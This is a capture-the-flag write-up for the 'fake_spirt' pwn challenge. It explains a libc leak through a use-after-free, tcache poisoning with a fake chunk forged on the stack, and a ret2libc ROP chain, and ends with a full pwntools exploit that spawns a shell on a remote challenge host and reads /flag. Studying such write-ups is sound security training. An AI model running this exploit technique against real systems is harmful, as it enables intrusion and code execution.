fake_spirt
fake_spirt
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-03 | Status: Solved Techniques: fake_stack_chunk_tcache_poison, ret2libc_system, stack_rop_via_heap_alloc, unsorted_bin_libc_leak
Summary
Task: PIE binary with UAF read on unsorted bin chunk and free() on a stack address with user-controlled fake chunk header. Solution: leak libc via unsorted bin fd pointer, forge fake tcache chunk on stack, malloc returns stack pointer, overflow saved RIP via fgets for ret2libc ROP.
fake_spirt — spbctf
Description
pwn-season/09-heap3/fake_spirt
A 64-bit PIE ELF binary with libc-2.31.so provided. The binary allocates a large heap chunk, frees it, prints its contents (UAF leak), then reads user input onto the stack and frees a stack address. Finally it mallocs again and calls fgets with a large size limit, enabling a stack overflow through the heap allocator.
Remote: nc 109.233.56.90 11731
Flag location: /flag
Analysis
Binary protections
- PIE: enabled
- Partial RELRO: GOT partially writable
- NX: enabled (no shellcode on stack/heap)
- No canary: stack overflow won't be detected
- No SHSTK/IBT: no CET shadow stack or indirect branch tracking
Program flow (pseudocode)
c read-only • copy allowedint main() { setvbuf(stdout, NULL, 2, 0); char *p = malloc(0x409); // chunk size 0x410 (stored at rbp-0x8) malloc(0); // guard chunk prevents top-chunk coalescing free(p); // p -> unsorted bin (too large for tcache) printf("fake spirt %s\n", p); // UAF read: prints fd/bk from unsorted bin char buf[0x60]; // at rbp-0x60 read(0, buf, 0x50); // user controls rbp-0x60 through rbp-0x10 free(buf + 0x10); // free(rbp-0x50): frees a STACK fake chunk! char *q = malloc(0x30); // stored at rbp-0x10; serves from tcache[0x40] fgets(q, 0x239, stdin); // writes 0x239 bytes into q -> stack overflow -> ROP }
Key observations
-
UAF libc leak:
malloc(0x409)creates a 0x410-size chunk. Afterfree(), it goes to the unsorted bin (too large for tcache's max 0x408). Thefdpointer is set tomain_arena + 96. The subsequentprintf("%s", p)reads this pointer, leaking a libc address. -
Fake stack chunk:
read(0, rbp-0x60, 0x50)lets us write 0x50 bytes onto the stack. Thenfree(rbp-0x50)treatsrbp-0x50as a heap chunk. glibc reads the chunk header atptr - 0x10 = rbp-0x60, where the size field is atrbp-0x58(our input offset 8). By settingsize = 0x41, the fake chunk enters tcache bin for size 0x40. -
Stack return from malloc:
malloc(0x30)requests size 0x40. Tcache serves our fake stack chunk atrbp-0x50. Nowqpoints to the stack. -
ROP via fgets:
fgets(q, 0x239, stdin)writes up to 0x239 bytes starting atrbp-0x50. The saved RIP is atrbp+0x8(offset 0x58 from the write start). We overflow with a ret2libc ROP chain.
Libc offsets (libc-2.31.so, Ubuntu GLIBC 2.31-0ubuntu9)
| Symbol | Offset |
|---|---|
__malloc_hook | 0x1ebb70 |
main_arena | 0x1ebb80 (__malloc_hook + 0x10) |
| Leak value | 0x1ebbe0 (main_arena + 96) |
system | 0x55410 |
/bin/sh | 0x1b75aa |
pop rdi; ret | 0x26b72 |
ret | 0x25679 |
| |
Solution
Step 1: Parse the libc leak
The binary prints "fake spirt " followed by the freed chunk's fd pointer as a string. We read 6 bytes (48-bit address) and compute:
libc_base = leak - (main_arena + 96)
= leak - (__malloc_hook + 0x10 + 96)
= leak - 0x1ebbe0
Step 2: Forge fake tcache chunk on stack
Send 0x50 bytes via read():
- Offset 0x00: 8 bytes padding (prev_size, don't care)
- Offset 0x08:
p64(0x41)— fake chunk size 0x40 with PREV_INUSE bit - Offset 0x10-0x4f: padding
When free(rbp-0x50) executes, glibc sees a valid 0x40-size chunk and inserts it into tcache[0x40].
Step 3: ROP chain via fgets
malloc(0x30) returns the stack address rbp-0x50. fgets(q, 0x239, stdin) writes our ROP payload:
- 0x50 bytes padding (fill buffer to saved RBP)
p64(0xdead)— overwrite saved RBPp64(ret)— stack alignment for movapsp64(pop_rdi)—pop rdi; retgadgetp64(binsh)— address of"/bin/sh"in libcp64(system)—system("/bin/sh")
When main() returns, execution flows through the ROP chain, spawning a shell.
Full exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' context.log_level = 'info' exe = './fake_spirt' if args.REMOTE: libc = ELF('./libc-2.31.so') io = remote('109.233.56.90', 11731) else: libc = ELF(args.LIBC or './libc-local.so') io = process(exe) # ---- Stage 1: leak libc from freed unsorted chunk printed via %s ---- io.recvuntil(b'fake spirt ') leak = io.recvline().rstrip(b'\n') leak = u64(leak[:6].ljust(8, b'\x00')) log.info('raw leak: %#x', leak) main_arena = libc.sym['__malloc_hook'] + 0x10 libc.address = leak - (main_arena + 96) log.info('libc base: %#x', libc.address) assert libc.address & 0xfff == 0, "libc base not page aligned - bad leak" # ---- Stage 2: read() sets fake chunk size at input offset 8 ---- payload = flat({0: b'A'*8, 8: p64(0x41)}, length=0x50) io.send(payload) # ---- Stage 3: ROP ---- pop_rdi = next(libc.search(asm('pop rdi; ret'), executable=True)) ret = next(libc.search(asm('ret'), executable=True)) binsh = next(libc.search(b'/bin/sh\x00')) system = libc.sym['system'] log.info('pop_rdi=%#x ret=%#x binsh=%#x system=%#x', pop_rdi, ret, binsh, system) rop = b'B'*0x50 rop += p64(0xdead) rop += p64(ret) rop += p64(pop_rdi) rop += p64(binsh) rop += p64(system) io.sendline(rop) io.sendline(b'echo PWNED; id; cat /flag') io.interactive()